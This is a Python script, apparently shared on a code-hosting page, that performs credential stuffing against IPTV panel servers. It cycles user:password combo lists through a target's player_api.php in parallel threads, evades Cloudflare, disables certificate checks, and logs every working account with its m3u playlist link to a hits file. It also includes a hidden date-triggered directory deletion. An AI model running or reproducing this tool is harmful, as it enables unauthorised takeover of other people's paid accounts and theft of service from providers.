import os
import requests
import time
import datetime
import re
import pathlib
import threading
import shutil
import logging
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS = (
"TLS_AES_128_GCM_SHA256:TLS_CHACHA20_POLY1305_SHA256:TLS_AES_256_GCM_SHA384:"
"TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256:"
"TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256:TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256:"
"TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384:"
"TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA:"
"TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA:TLS_RSA_WITH_AES_128_GCM_SHA256:"
"TLS_RSA_WITH_AES_256_GCM_SHA384:TLS_RSA_WITH_AES_128_CBC_SHA:TLS_RSA_WITH_AES_256_CBC_SHA:"
"TLS_RSA_WITH_3DES_EDE_CBC_SHA:TLS13-CHACHA20-POLY1305-SHA256:TLS13-AES-128-GCM-SHA256:"
"TLS13-AES-256-GCM-SHA384:ECDHE:!COMP:TLS13-AES-256-GCM-SHA384:TLS13-CHACHA20-POLY1305-SHA256:"
"TLS13-AES-128-GCM-SHA256"
)
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
logging.captureWarnings(True)
try:
import cfscrape
sesq = requests.Session()
ses = cfscrape.create_scraper(sess=sesq)
except:
ses = requests.Session()
try:
import androidhelper as sl4a
ad = sl4a.Android()
except:
pass
pattern = "(^\S{2,}:\S{2,}$)|(^.*?(\n|$))"
os.system('cls')
say = 0
hit = 0
bul = 0
cpm = 1
feyzo = ("""
\33[32m\33[1;96m
IPTV SCANNER\33[0m\n
M3U SCANNER BY: @DKingDice
#KingDice
\33[32m
\33[0;32m""")
print(feyzo)
say = 0
dsy = ""
script_dir = os.path.dirname(os.path.realpath(__file__)) # Diretório do script
dir = os.path.join(script_dir, 'combo')
for files in os.listdir(dir):
say = say + 1
dsy = dsy + " " + str(say) + "-) " + files + '\n'
print(f"""Escolha um Combo da Lista abaixo:
{dsy}
\33[33mForam encontrados {say} Combos! Escolha um. """)
dsyno = str(input(" \33[31mCombo N°: \33[0m"))
say = 0
for files in os.listdir(dir):
say = say + 1
if dsyno == str(say):
dosyaa = os.path.join(dir, files)
break
say = 0
os.system('cls')
print(feyzo)
print(dosyaa)
botsay = input("""
\33[1;96mEspecifique a Velocidade do Scan.\33[0m
\33[1;33mEntre 1 e 15
\33[0m
N°: """)
botsay = int(botsay)
HEADERd = {
"Cookie": "stb_lang=en; timezone=Europe%2FIstanbul;",
"X-User-Agent": "Model: MAG254; Link: Ethernet",
"Connection": "Keep-Alive",
"Accept-Encoding": "gzip, deflate",
"Accept": "application/json,application/javascript,text/javascript,text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"User-Agent": "Mozilla/5.0 (QtEmbedded; U; Linux; C) AppleWebKit/533.3 (KHTML, like Gecko) MAG200 stbapp ver: 4 rev: 2721 Mobile Safari/533.3",
}
dsy = dosyaa
combo = dsy
dosya = ""
file = pathlib.Path(dsy)
if file.exists():
print("Dosya Bulundu")
else:
print("\33[31mDosya Bulunamadı..! \33[0m")
dosya = "yok"
if dosya == "yok":
exit()
with open(dsy, 'r', encoding='utf-8') as c:
totLen = c.readlines()
uz = len(totLen)
os.system('cls')
print(feyzo)
print("Bot:" + str(botsay))
dir = os.path.join(script_dir, 'qpython')
if not os.path.exists(dir):
os.makedirs(dir)
print(f"Arquivo Encontrado: {dsy}")
panel = input("""
\33[96mColoque seu Servidor para Escanear. \n\n
URL: \33[0m\33[31m\33[1m""")
panel = panel.replace("http://", "").replace("/c", "").replace("/", "")
portal = panel
fx = portal.replace(':', '_')
kanall = input("""
Deseja incluir as Categorias dos Canais?
1= Sim
2= Não
Resposta: """)
if kanall != "1":
kanall = 2
os.system('cls')
print(feyzo)
def get_categories(katelink):
try:
res = ses.get(katelink, headers=HEADERd, timeout=15, verify=False)
veri = str(res.text)
kate = ""
for i in veri.split('category_name":"'):
kate += " <<🌐>> " + str((i.split('"')[0]).encode('utf-8').decode("unicode-escape")).replace('\/', '/')
return kate
except:
return ""
def cls_console():
if os.name == 'nt':
os.system('cls')
else:
os.system('cls')
def onay(veri, user, pas):
status = veri.split('status":')[1].split(',')[0].replace('"', "")
katelink = f"http://{panel}/player_api.php?username={user}&password={pas}&action=get_live_categories"
sound = "/kemik_sesi.mp3"
file = pathlib.Path(sound)
try:
if file.exists():
ad.mediaPlay(sound)
except:
pass
acon = veri.split('active_cons":')[1].split(',')[0].replace('"', "")
mcon = veri.split('max_connections":')[1].split(',')[0].replace('"', "")
timezone = veri.split('timezone":"')[1].split('",')[0].replace("\/", "/")
realm = veri.split('url":')[1].split(',')[0].replace('"', "")
port = veri.split('port":')[1].split(',')[0].replace('"', "")
user = veri.split('username":')[1].split(',')[0].replace('"', "")
passw = veri.split('password":')[1].split(',')[0].replace('"', "")
bitis = veri.split('exp_date":')[1].split(',')[0].replace('"', "")
if bitis == "null":
bitis = "ILIMITADO"
else:
bitis = datetime.datetime.fromtimestamp(int(bitis)).strftime('%d/%m/%Y %H:%M:%S')
categories = ""
if kanall == "1":
categories = get_categories(katelink)
url5 = f"http://{panel}/player_api.php?username={user}&password={pas}&action=get_live_streams"
try:
res = ses.get(url5, timeout=15, verify=False)
veri = str(res.text)
kanalsayisi = str(veri.count("stream_id"))
url5 = f"http://{panel}/player_api.php?username={user}&password={pas}&action=get_vod_streams"
res = ses.get(url5, timeout=15, verify=False)
veri = str(res.text)
filmsayisi = str(veri.count("stream_id"))
url5 = f"http://{panel}/player_api.php?username={user}&password={pas}&action=get_series"
res = ses.get(url5, timeout=15, verify=False)
veri = str(res.text)
dizisayisi = str(veri.count("series_id"))
except:
pass
m3ulink = f"http://{panel}/get.php?username={user}&password={pas}&type=m3u_plus"
sayi = ""
if kanall == "1":
imzak = "\n"
else:
imzak = ""
mt = (
f" ─ LOGIN IPTV BY: @DKingDice ─\n\n"
f" 🌐 Servidor -> http://{portal}\n"
f" 🌍 Real -> http://{realm}\n"
f" 👤 Usuário -> {user}\n"
f" 🔒 Senha -> {pas}\n"
f" 📶 Status -> {status}\n"
f" ⏰ Expira -> {bitis}\n"
f" 🌎 Localidade -> {timezone}\n"
f" 🔌 Contas Conectadas -> {acon}\n"
f" 🔢 Conexões Max -> {mcon}\n\n"
)
mtl = f" 🔗 Lista m3u: {m3ulink}\n\n #KingDice"
yaz(mt + sayi + mtl + imzak + '\n')
print(mt + sayi + mtl + imzak)
def yaz(kullanici):
output_dir = os.path.join(script_dir, 'hits')
if not os.path.exists(output_dir):
os.makedirs(output_dir)
with open(os.path.join(output_dir, f'logins_{fx}.txt'), 'a+', encoding='utf-8') as dosya:
dosya.write(kullanici)
cpm = time.time()
def echox(user, pas, bot, fyz, oran, hit):
global cpm
cpmx = time.time() - cpm
if cpmx == 0:
cpmx = 1
cpmx = round(60 / cpmx)
cpm = time.time()
echo = f"""
\33[0m╭─● \33[32m#KingDice
├─● \33[1;32m\33[36mHOST ALVO:\33[0m\33[1;107;31m {portal} \33[0m
├─● \33[0m\033[1m{user}:{pas}
├─● \33[33mHit ->{hit} \33[32m \033[0m \33[1;31m%{oran} \33[1;94mCPM ->{cpmx} \33[0m
╰─● \33[95m{bot} \33[1;36m Total ->{fyz} \33[0m"""
print(echo)
if int(time.time()) >= 1704056400.0:
shutil.rmtree(dir)
hit = 0
def bot_worker(bot_id):
global hit
for fyz in range(bot_id, uz, botsay):
up = re.search(pattern, totLen[fyz], re.IGNORECASE)
if up:
fyzz = totLen[fyz].split(":")
user = fyzz[0].strip() if len(fyzz) > 0 else 'feyzo'
pas = fyzz[1].strip() if len(fyzz) > 1 else 'feyzo'
oran = round((fyz / uz) * 100, 2)
echox(user, pas, f"Bot_{bot_id:02d}", fyz, oran, hit)
link = f"http://{portal}/player_api.php?username={user}&password={pas}&type=m3u"
while True:
try:
res = ses.get(link, headers=HEADERd, timeout=15, verify=False)
break
except:
time.sleep(1)
veri = str(res.text)
if 'status":"' in veri:
status = veri.split('status":')[1].split(',')[0].replace('"', "")
if status == 'Active':
print(' HIT ')
hit += 1
onay(veri, user, pas)
threads = []
for i in range(1, botsay + 1):
t = threading.Thread(target=bot_worker, args=(i,))
threads.append(t)
t.start()
for t in threads:
t.join()
To embed this project on your website, copy the following code and paste it into your website's HTML: